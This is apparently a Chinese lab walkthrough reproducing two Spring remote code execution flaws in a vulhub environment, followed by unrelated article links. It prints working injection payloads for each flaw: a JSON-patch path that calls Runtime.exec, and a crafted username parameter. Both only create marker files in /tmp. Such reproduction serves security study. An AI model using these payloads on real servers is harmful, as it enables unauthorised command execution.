常见框架漏洞—Spring

一.Spring Data Rest 远程命令执⾏命令

1.搭建环境

2.访问网站下的/customers/1

3.对当前页面进行抓包,修改提交方式为PATCH,内容类型为application/json-patch+json

{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte\[\]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,101}))/lastname", "value": "vulhub" }

4.发现容器目录中有了succese

二.Spring代码执行

1.环境搭建

2.访问网站下的users目录

3.提交页面进行抓包,添加poc:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=

4.查看终端,发现成功写入

相关推荐
美团快速送达6 分钟前
每日一题----第四题
java·算法·leetcode
虎鲸不是鱼7 分钟前
记一次借助Eclipse MAT排查OOM
java·jvm·ide·eclipse·gc
heeheeai10 分钟前
kotlin kmp 跨平台环境使用sqldelight
数据库·kotlin·kmp·start·sqldelight
phltxy18 分钟前
常见排序的学习
java·学习·排序算法
小宁爱Python24 分钟前
MySql的两种安装方式
数据库·mysql
Catfood_Eason35 分钟前
通用代码自用
java·服务器·前端
zwxu_1 小时前
基于vscode连接服务器实现远程开发
java·开发语言·vscode·golang
q__y__L1 小时前
C# WaitHandle类的几个有用的函数
java·开发语言·c#
程序员JerrySUN1 小时前
GPU 基础矩阵精规组织教程:从基础作用到实战应用
数据库·系统架构·gpu算力
不辉放弃1 小时前
Spark SQL 的 SQL 模式和 DSL模式
数据库·pyspark·大数据开发